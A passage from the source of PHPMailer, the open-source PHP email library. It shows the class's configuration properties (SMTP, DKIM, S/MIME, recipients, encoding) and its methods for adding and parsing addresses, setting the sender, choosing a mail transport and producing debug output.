 * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer - PHP email creation and transport class.
 *
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 */
class PHPMailer
{
    const CHARSET_ASCII = 'us-ascii';
    const CHARSET_ISO88591 = 'iso-8859-1';
    const CHARSET_UTF8 = 'utf-8';

    const CONTENT_TYPE_PLAINTEXT = 'text/plain';
    const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar';
    const CONTENT_TYPE_TEXT_HTML = 'text/html';
    const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative';
    const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed';
    const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related';

    const ENCODING_7BIT = '7bit';
    const ENCODING_8BIT = '8bit';
    const ENCODING_BASE64 = 'base64';
    const ENCODING_BINARY = 'binary';
    const ENCODING_QUOTED_PRINTABLE = 'quoted-printable';

    const ENCRYPTION_STARTTLS = 'tls';
    const ENCRYPTION_SMTPS = 'ssl';

    const ICAL_METHOD_REQUEST = 'REQUEST';
    const ICAL_METHOD_PUBLISH = 'PUBLISH';
    const ICAL_METHOD_REPLY = 'REPLY';
    const ICAL_METHOD_ADD = 'ADD';
    const ICAL_METHOD_CANCEL = 'CANCEL';
    const ICAL_METHOD_REFRESH = 'REFRESH';
    const ICAL_METHOD_COUNTER = 'COUNTER';
    const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     *
     * @var int|null
     */
    public $Priority;

    /**
     * The character set of the message.
     *
     * @var string
     */
    public $CharSet = self::CHARSET_ISO88591;

    /**
     * The MIME Content-type of the message.
     *
     * @var string
     */
    public $ContentType = self::CONTENT_TYPE_PLAINTEXT;

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     *
     * @var string
     */
    public $Encoding = self::ENCODING_8BIT;

    /**
     * Holds the most recent mailer error message.
     *
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     *
     * @var string
     */
    public $From = '';

    /**
     * The From name of the message.
     *
     * @var string
     */
    public $FromName = '';

    /**
     * The envelope sender of the message.
     * This will usually be turned into a Return-Path header by the receiver,
     * and is the address that bounces will be sent to.
     * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP.
     *
     * @var string
     */
    public $Sender = '';

    /**
     * The Subject of the message.
     *
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     *
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     *
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator.
     *
     * @see http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @see http://kigkonsult.se/iCalcreator/
     *
     * @var string
     */
    public $Ical = '';

    /**
     * Value-array of "method" in Contenttype header "text/calendar"
     *
     * @var string[]
     */
    protected static $IcalMethods = [
        self::ICAL_METHOD_REQUEST,
        self::ICAL_METHOD_PUBLISH,
        self::ICAL_METHOD_REPLY,
        self::ICAL_METHOD_ADD,
        self::ICAL_METHOD_CANCEL,
        self::ICAL_METHOD_REFRESH,
        self::ICAL_METHOD_COUNTER,
        self::ICAL_METHOD_DECLINECOUNTER,
    ];

    /**
     * The complete compiled MIME message body.
     *
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     *
     * @var string
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     *
     * @var string
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     *
     * @see static::STD_LINE_LENGTH
     *
     * @var int
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     *
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     *
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     *
     * @var bool
     */
    public $UseSendmailOptions = true;

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     *
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     *
     * @see PHPMailer::$Helo
     *
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     *
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     *
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     *
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     *
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     *
     * @var int
     */
    public $Port = 25;

    /**
     * The SMTP HELO/EHLO name used for the SMTP connection.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     *
     * @see PHPMailer::$Hostname
     *
     * @var string
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS.
     *
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     *
     * @var bool
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     *
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     *
     * @var bool
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     *
     * @var array
     */
    public $SMTPOptions = [];

    /**
     * SMTP username.
     *
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     *
     * @var string
     */
    public $Password = '';

    /**
     * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2.
     * If not specified, the first one from that list that the server supports will be selected.
     *
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP SMTPXClient command attibutes
     *
     * @var array
     */
    protected $SMTPXClient = [];

    /**
     * An implementation of the PHPMailer OAuthTokenProvider interface.
     *
     * @var OAuthTokenProvider
     */
    protected $oauth;

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     *
     * @var int
     */
    public $Timeout = 300;

    /**
     * Comma separated list of DSN notifications
     * 'NEVER' under no circumstances a DSN must be returned to the sender.
     *         If you use NEVER all other notifications will be ignored.
     * 'SUCCESS' will notify you when your mail has arrived at its destination.
     * 'FAILURE' will arrive if an error occurred during delivery.
     * 'DELAY'   will notify you if there is an unusual delay in delivery, but the actual
     *           delivery's outcome (success or failure) is not yet decided.
     *
     * @see https://tools.ietf.org/html/rfc3461 See section 4.1 for more information about NOTIFY
     */
    public $dsn = '';

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * @see SMTP::DEBUG_OFF: No output
     * @see SMTP::DEBUG_CLIENT: Client messages
     * @see SMTP::DEBUG_SERVER: Client and server messages
     * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status
     * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed
     *
     * @see SMTP::$do_debug
     *
     * @var int
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise.
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     *
     * ```php
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * ```
     *
     * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
     * level output is used:
     *
     * ```php
     * $mail->Debugoutput = new myPsr3Logger;
     * ```
     *
     * @see SMTP::$Debugoutput
     *
     * @var string|callable|\Psr\Log\LoggerInterface
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep the SMTP connection open after each message.
     * If this is set to true then the connection will remain open after a send,
     * and closing the connection will require an explicit call to smtpClose().
     * It's a good idea to use this if you are sending multiple messages as it reduces overhead.
     * See the mailing list example for how to use it.
     *
     * @var bool
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     *
     * @var bool
     *
     * @deprecated 6.0.0 PHPMailer isn't a mailing list manager!
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     *
     * @var array
     */
    protected $SingleToArray = [];

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     *
     * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @see http://www.postfix.org/VERP_README.html Postfix VERP info
     *
     * @var bool
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     *
     * @var bool
     */
    public $AllowEmpty = false;

    /**
     * DKIM selector.
     *
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     *
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     *
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     *
     * @example 'example.com'
     *
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM Copy header field values for diagnostic use.
     *
     * @var bool
     */
    public $DKIM_copyHeaderFields = true;

    /**
     * DKIM Extra signing headers.
     *
     * @example ['List-Unsubscribe', 'List-Help']
     *
     * @var array
     */
    public $DKIM_extraHeaders = [];

    /**
     * DKIM private key file path.
     *
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     *
     * If set, takes precedence over `$DKIM_private`.
     *
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   bool $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     *   string  $extra         extra information of possible use
     *                          "smtp_transaction_id' => last smtp transaction id
     *
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use.
     *
     * @var string|null
     */
    public $XMailer = '';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option.
     *
     * @see PHPMailer::validateAddress()
     *
     * @var string|callable
     */
    public static $validator = 'php';

    /**
     * An instance of the SMTP sender class.
     *
     * @var SMTP
     */
    protected $smtp;

    /**
     * The array of 'to' names and addresses.
     *
     * @var array
     */
    protected $to = [];

    /**
     * The array of 'cc' names and addresses.
     *
     * @var array
     */
    protected $cc = [];

    /**
     * The array of 'bcc' names and addresses.
     *
     * @var array
     */
    protected $bcc = [];

    /**
     * The array of reply-to names and addresses.
     *
     * @var array
     */
    protected $ReplyTo = [];

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc.
     *
     * @see PHPMailer::$to
     * @see PHPMailer::$cc
     * @see PHPMailer::$bcc
     *
     * @var array
     */
    protected $all_recipients = [];

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     *
     * @see PHPMailer::$to
     * @see PHPMailer::$cc
     * @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     *
     * @var array
     */
    protected $RecipientsQueue = [];

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     *
     * @see PHPMailer::$ReplyTo
     *
     * @var array
     */
    protected $ReplyToQueue = [];

    /**
     * The array of attachments.
     *
     * @var array
     */
    protected $attachment = [];

    /**
     * The array of custom headers.
     *
     * @var array
     */
    protected $CustomHeader = [];

    /**
     * The most recent Message-ID (including angular brackets).
     *
     * @var string
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     *
     * @var string
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     *
     * @var array
     */
    protected $boundary = [];

    /**
     * The array of available text strings for the current language.
     *
     * @var array
     */
    protected $language = [];

    /**
     * The number of errors encountered.
     *
     * @var int
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     *
     * @var string
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     *
     * @var string
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     *
     * @var string
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     *
     * @var string
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     *
     * @var bool
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     *
     * @var string
     */
    protected $uniqueid = '';

    /**
     * The PHPMailer Version number.
     *
     * @var string
     */
    const VERSION = '6.9.1';

    /**
     * Error severity: message only, continue processing.
     *
     * @var int
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     *
     * @var int
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     *
     * @var int
     */
    const STOP_CRITICAL = 2;

    /**
     * The SMTP standard CRLF line break.
     * If you want to change line break format, change static::$LE, not this.
     */
    const CRLF = "\r\n";

    /**
     * "Folding White Space" a white space string used for line folding.
     */
    const FWS = ' ';

    /**
     * SMTP RFC standard line ending; Carriage Return, Line Feed.
     *
     * @var string
     */
    protected static $LE = self::CRLF;

    /**
     * The maximum line length supported by mail().
     *
     * Background: mail() will sometimes corrupt messages
     * with headers longer than 65 chars, see #818.
     *
     * @var int
     */
    const MAIL_MAX_LINE_LENGTH = 63;

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1.
     *
     * @var int
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * The lower maximum line length allowed by RFC 2822 section 2.1.1.
     * This length does NOT include the line break
     * 76 means that lines will be 77 or 78 chars depending on whether
     * the line break format is LF or CRLF; both are valid.
     *
     * @var int
     */
    const STD_LINE_LENGTH = 76;

    /**
     * Constructor.
     *
     * @param bool $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if (null !== $exceptions) {
            $this->exceptions = (bool) $exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do).
     *
     * @param string      $to      To
     * @param string      $subject Subject
     * @param string      $body    Message Body
     * @param string      $header  Additional Header(s)
     * @param string|null $params  Params
     *
     * @return bool
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if ((int)ini_get('mbstring.func_overload') & 1) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        //Calling mail() with null params breaks
        $this->edebug('Sending with mail()');
        $this->edebug('Sendmail path: ' . ini_get('sendmail_path'));
        $this->edebug("Envelope sender: {$this->Sender}");
        $this->edebug("To: {$to}");
        $this->edebug("Subject: {$subject}");
        $this->edebug("Headers: {$header}");
        if (!$this->UseSendmailOptions || null === $params) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $this->edebug("Additional params: {$params}");
            $result = @mail($to, $subject, $body, $header, $params);
        }
        $this->edebug('Result: ' . ($result ? 'true' : 'false'));
        return $result;
    }

    /**
     * Output debugging info via a user-defined method.
     * Only generates output if debug output is enabled.
     *
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     *
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Is this a PSR-3 logger?
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            $this->Debugoutput->debug($str);

            return;
        }
        //Avoid clash with built-in function names
        if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);

            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                /** @noinspection ForgottenDebugOutputInspection */
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                ), "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate('Y-m-d H:i:s'),
                "\t",
                    //Trim trailing space
                trim(
                    //Indent for readability, except for trailing break
                    str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    )
                ),
                "\n";
        }
    }

    /**
     * Sets message type to HTML or plain.
     *
     * @param bool $isHtml True for HTML mode
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
        } else {
            $this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
        }
    }

    /**
     * Send messages using SMTP.
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (false === stripos($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (false === stripos($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     *
     * @param string $address The email address to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     *
     * @param string $kind    One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address
     * @param string $name    An optional username associated with the address
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $pos = false;
        if ($address !== null) {
            $address = trim($address);
            $pos = strrpos($address, '@');
        }
        if (false === $pos) {
            //At-sign is missing.
            $error_message = sprintf(
                '%s (%s): %s',
                $this->lang('invalid_address'),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if ($name !== null && is_string($name)) {
            $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        } else {
            $name = '';
        }
        $params = [$kind, $address, $name];
        //Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        //Domain is assumed to be whatever is after the last @ symbol in the address
        if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) {
            if ('Reply-To' !== $kind) {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;

                    return true;
                }
            } elseif (!array_key_exists($address, $this->ReplyToQueue)) {
                $this->ReplyToQueue[$address] = $params;

                return true;
            }

            return false;
        }

        //Immediately add standard addresses without IDN.
        return call_user_func_array([$this, 'addAnAddress'], $params);
    }

    /**
     * Set the boundaries to use for delimiting MIME parts.
     * If you override this, ensure you set all 3 boundaries to unique values.
     * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies,
     * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7
     *
     * @return void
     */
    public function setBoundaries()
    {
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1=_' . $this->uniqueid;
        $this->boundary[2] = 'b2=_' . $this->uniqueid;
        $this->boundary[3] = 'b3=_' . $this->uniqueid;
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     *
     * @param string $kind    One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) {
            $error_message = sprintf(
                '%s: %s',
                $this->lang('Invalid recipient kind'),
                $kind
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if (!static::validateAddress($address)) {
            $error_message = sprintf(
                '%s (%s): %s',
                $this->lang('invalid_address'),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if ('Reply-To' !== $kind) {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                $this->{$kind}[] = [$address, $name];
                $this->all_recipients[strtolower($address)] = true;

                return true;
            }
        } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) {
            $this->ReplyTo[strtolower($address)] = [$address, $name];

            return true;
        }

        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     *
     * @see http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     *
     * @param string $addrstr The address list string
     * @param bool   $useimap Whether to use the IMAP extension to parse the list
     * @param string $charset The charset to use when decoding the address list string.
     *
     * @return array
     */
    public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591)
    {
        $addresses = [];
        if ($useimap && function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            // Clear any potential IMAP errors to get rid of notices being thrown at end of script.
            imap_errors();
            foreach ($list as $address) {
                if (
                    '.SYNTAX-ERROR.' !== $address->host &&
                    static::validateAddress($address->mailbox . '@' . $address->host)
                ) {
                    //Decode the name part if it's present and encoded
                    if (
                        property_exists($address, 'personal') &&
                        //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
                        defined('MB_CASE_UPPER') &&
                        preg_match('/^=\?.*\?=$/s', $address->personal)
                    ) {
                        $origCharset = mb_internal_encoding();
                        mb_internal_encoding($charset);
                        //Undo any RFC2047-encoded spaces-as-underscores
                        $address->personal = str_replace('_', '=20', $address->personal);
                        //Decode the name
                        $address->personal = mb_decode_mimeheader($address->personal);
                        mb_internal_encoding($origCharset);
                    }

                    $addresses[] = [
                        'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                        'address' => $address->mailbox . '@' . $address->host,
                    ];
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if (static::validateAddress($address)) {
                        $addresses[] = [
                            'name' => '',
                            'address' => $address,
                        ];
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    $name = trim($name);
                    if (static::validateAddress($email)) {
                        //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
                        //If this name is encoded, decode it
                        if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) {
                            $origCharset = mb_internal_encoding();
                            mb_internal_encoding($charset);
                            //Undo any RFC2047-encoded spaces-as-underscores
                            $name = str_replace('_', '=20', $name);
                            //Decode the name
                            $name = mb_decode_mimeheader($name);
                            mb_internal_encoding($origCharset);
                        }
                        $addresses[] = [
                            //Remove any surrounding quotes and spaces from the name
                            'name' => trim($name, '\'" '),
                            'address' => $email,
                        ];
                    }
                }
            }
        }

        return $addresses;
    }

    /**
     * Set the From and FromName properties.
     *
     * @param string $address
     * @param string $name
     * @param bool   $auto    Whether to also set the Sender address, defaults to true
     *
     * @throws Exception
     *
     * @return bool
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim((string)$address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        //Don't validate now addresses with IDN. Will be done in send().
        $pos = strrpos($address, '@');
        if (
            (false === $pos)
            || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported())
            && !static::validateAddress($address))
        ) {
            $error_message = sprintf(
                '%s (From): %s',
                $this->lang('invalid_address'),
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto && empty($this->Sender)) {
            $this->Sender = $address;
        }

        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     *
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * Validation patterns supported:
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     *
     * ```php
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * ```
     *
